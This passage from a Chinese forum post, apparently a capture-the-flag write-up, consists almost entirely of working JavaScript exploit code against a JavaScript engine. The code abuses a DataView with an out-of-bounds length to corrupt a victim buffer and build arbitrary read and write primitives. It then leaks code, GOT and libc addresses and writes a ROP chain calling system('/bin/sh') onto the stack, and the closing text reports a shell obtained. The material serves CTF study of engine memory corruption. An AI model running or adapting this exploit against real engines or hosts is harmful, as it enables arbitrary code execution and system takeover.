  • find_corrupt_dv");     let len_offset = (target_idx -1 ) * 8 + 4;     let maigc = 0x41414141;     let original_length = (oob_dv.getUint32(len_offset, true));     logg("original length: ", original_length);     oob_dv.setUint32(len_offset, maigc, true);     let length = -1;     for(let i=0; i<dv_arr.length; i++){         length = dv_arr[i].buffer.byteLength;         // print("length: 0x" + length.toString(16));         if(length == maigc){             logg("Found corrupted dv at index: ", i);             oob_dv.setUint32(len_offset, original_length, true);             return i;         }     }     print("[-] Failed to find corrupted dv");     return -1; } function read64(addr){     let lo = -1;     let hi = -1;     let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true));     // print("orig: 0x" + orig.toString(16));     dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true);     dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true);     lo = vic_dv_array[corrupt_idx].getUint32(0, true);     hi = vic_dv_array[corrupt_idx].getUint32(4, true);     let ret = (BigInt(hi) << 32n) | BigInt(lo);     dv.setFloat64(target_idx * 8, u64_to_f64(orig), true);     // print("orig: 0x" + orig.toString(16));     return ret; } function write32(addr, value){     let lo = -1;     let hi = -1;     let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true));     dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true);     dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true);     vic_dv_array[corrupt_idx].setUint32(0, Number(value & 0xffffffffn), true);     dv.setFloat64(target_idx * 8, u64_to_f64(orig), true); } function write64(addr, value){     let lo = -1;     let hi = -1;     let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true));     dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true);     dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true);     vic_dv_array[corrupt_idx].setUint32(0, Number(value & 0xffffffffn), true);     vic_dv_array[corrupt_idx].setUint32(4, Number((value >> 32n) & 0xffffffffn), true);     dv.setFloat64(target_idx * 8, u64_to_f64(orig), true); } function TestPrimitive(){     print("
  • TestPrimitive");     let orig = read64(heap_global_addr);     logg("orig: ", orig);     write64(heap_global_addr, 0x4444444444444444n);     let new_val = read64(heap_global_addr);     logg("new_val: ", new_val);     print("
  • TestPrimitive completed"); } function MakeRef(){     return [vic_dv_array]; } function InitExploit(version){     print("
  • InitExploit");     if (version == 1) {         // 题目下发版本         return [             0x78n,   // handler_offset             0x5648fn,   // code_offset             0x70de0n,   // got_offset             0x86710n,   // libc_offset             0x20ad58n,             0x58750n,         ];     } else {         // 自己编译版本         return [             0x158n,   // handler_offset             0xd0815n,   // code_offset             0x11add0n,  // got_offset             0x606f0n,   // libc_offset             0x3f3000n,             0n,         ];     } } gc(); let InitSign = 0x1111111111111111n; let MagicSign = 0x4141414142424242n; let confuse_length = 0xffffffff; let target_idx = 0x130; let ab_array = []; for(let i=0; i<10; i++) ab_array.push(new ArrayBuffer(0x20)); let ab = ab_array[9]; let dv = new DataView(ab, NaN, confuse_length); dv.setFloat64(0, u64_to_f64(InitSign), true); let vic_dv_array = [] vic_dv_array = inin_dv(vic_dv_array ,100 ,0x1000); target_idx = find_victim_ab_idx(dv, [0x940000200c0012n,0x100000000319n]); // describe(dv); // describe(vic_dv_array[99]); let ptr_lo = dv.getUint32(target_idx * 8, true); let ptr_hi = dv.getUint32(target_idx * 8 + 4, true); let heap_global_addr = (BigInt(ptr_hi) << 32n) | BigInt(ptr_lo); heap_global_addr = heap_global_addr - 0x11058n; heap_global_addr = heap_global_addr & ~0xfffn; // // 题目下发版本的偏移 heap_global_addr = heap_global_addr + 0x280n; // heap_global_addr = heap_global_addr - 0x9000n + 0x280n; logg("heap_global_addr: ", heap_global_addr); let corrupt_idx = find_corrupt_dv(dv, vic_dv_array); let keep_alive = MakeRef(); let version = 1; // 0: 自己编译版本, 1: 题目下发版本 let [handler_offset,code_offset, got_offset, libc_offset,     environ_offset,system_offset] = InitExploit(version); let code_base = read64(heap_global_addr+handler_offset)-code_offset; let got_func = code_base + got_offset; let libc_base = read64(got_func)-libc_offset; let system = libc_base + system_offset; let environ_addr = libc_base + environ_offset; let stack = read64(environ_addr)-0x138n; let ret = code_base + 0x0002552en; let pop_rdi_ret = code_base + 0x00059279n; let pop_rsi_ret = code_base + 0x000595d6n; let pop_rdx_ret = code_base + 0x00056f1dn; let binsh = libc_base + 0x1cb42fn; logg("pop_rdi_ret: ", pop_rdi_ret); logg("pop_rsi_ret: ", pop_rsi_ret); logg("pop_rdx_ret: ", pop_rdx_ret); logg("binsh: ", binsh); logg("system: ", system); logg("code_base: ", code_base); logg("got_func: ", got_func); logg("libc_base: ", libc_base); logg("environ_addr: ", environ_addr); logg("stack: ", stack); write64(stack, ret); write64(stack+8n, pop_rdi_ret); write64(stack+16n, binsh); write64(stack+24n, pop_rsi_ret); write64(stack+32n, 0n); write64(stack+40n, pop_rdx_ret); write64(stack+48n, 0n); write64(stack+56n, system); write64(stack+64n, 0n); // TestPrimitive(); // spin();
  • heap_global_addr的计算逻辑

    执行成功后的结果如下图所示,能够成功获取 shell。

    Exploit执行成功,获取shell




    上一篇:仅600KB的跨平台CLI基准测试工具Hyperfine:精准评估命令与脚本性能
    下一篇:智能体身份认证技术解密:密码学、AI行为识别与区块链信任账本
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-2-9 00:33 , Processed in 1.431909 second(s), 46 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表